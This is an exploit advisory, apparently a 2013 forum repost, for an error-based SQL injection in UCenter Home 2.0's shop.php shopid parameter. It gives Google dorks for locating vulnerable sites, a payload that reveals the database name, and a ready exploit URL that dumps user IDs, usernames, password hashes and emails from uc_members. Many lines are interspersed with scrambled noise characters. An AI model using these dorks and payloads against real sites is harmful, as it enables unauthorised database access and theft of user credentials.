) r4 G9 o* e, v( o$ G0 C" ]* ]
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
* f+ L. l# i4 F/ r( p5 l' x6 S: T
) e6 p- C. Y9 \; X ' Y1 _/ l1 C- ^0 N
d5 W( I! v$ k7 O. H*/ Author : KnocKout
1 Y( q& b4 F3 z& a! l) {. l. M5 P$ z0 ?2 k: @
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers # e& c! |3 M6 T ?% y3 S
: c/ k- \3 ~ f. @/ D' `8 m) h# z*/ Contact: knockoutr@msn.com
2 B4 g. ?" J( @' r8 w A; L; `+ r* v$ _2 n! m3 n) }2 j
*/ Cyber-Warrior.org/CWKnocKout ' x$ v% C: d* \
* N1 ?0 z; F' G; c' ~2 x3 ] N__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 1 r) J1 C# O7 D d* Y1 [6 W5 _; M
. {8 {: s$ }. ?* d
Script : UCenter Home
2 M+ B' z. n8 U, z. G/ }' J3 G1 Y. F! V- M0 ^, F
Version : 2.0
8 d& A0 Q- p5 f6 @: }( {4 ~' F4 {+ A: H
Script HomePage : http://u.discuz.net/
& f7 F9 R) n. I
% \6 O3 ~% m) G7 L__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
: K- w {' v) l- [8 b
9 B) \; w2 U' x; _4 L, f! [Dork : Powered by UCenter inurl:shop.php?ac=view
+ E. K5 n( f% a2 ^6 g" c& y6 F" ?) t; J+ _
Dork 2 : inurl:shop.php?ac=view&shopid=
\; d5 B- X; J; u
2 |* B& [( [8 ^: J__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 3 t( B( E7 G7 g/ q$ O$ R6 @% ~3 V
9 X3 Y- I! _2 j5 vVuln file : Shop.php ' o* J' _( l" N# t9 |; K3 H
6 R9 P. R. |$ n6 P0 ~$ c2 X
value's : (?)ac=view&shopid= : u- [) x M" p) f; L
2 m" A# F, ^, L3 I0 ^
Vulnerable Style : SQL Injection (MySQL Error Based) 5 b+ n' y4 m% ]
{4 }/ G& u8 @( S0 N9 oNeed Metarials : Hex Conversion # c2 u, f$ L2 ~$ e( \
+ K' ~2 q& D' M__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ( }8 z% }& a4 k
# L$ ]- d, K/ Q _9 {; Z: z' t9 IYour Need victim Database name.
( c6 L' V; Q0 G
& p7 P- \, R' b* H/ i$ cfor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 0 C# N" c. s% F, I6 O% @# M
+ [- h4 _: \! v.. : E$ E4 ~8 o; o3 a
7 {: X2 H% O% J( e$ Y
DB : Okey. ; \1 {( n5 N9 i# g& y) \: F
@& V! k7 x0 j' _
your edit DB `[TARGET DB NAME]` 5 @; i: _" y! P1 A
4 X4 ~4 P& z9 U& e, iExample : 'hiwir1_ucenter'
0 j' I7 ~. I$ l- P: @3 S& r/ q. x7 t- Q% B, ~6 ~5 G
Edit : Okey.
; @7 ^) q4 W" v$ l- L. o2 l6 g" o) i; k, |, J& Y$ Y- U
Your use Hex conversion. And edit Your SQL Injection Exploit..
$ m# S- L% k0 B. i& i4 k R
4 [9 k. |/ d y3 L $ p7 W2 b. O! v3 F# ~& u
2 H m" ]& ^. X, g7 D T* T# n |: ~
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
& ?5 p9 ^% \3 V) v1 c |
发表于 2013-2-27 21:31:31
收藏
支持
反对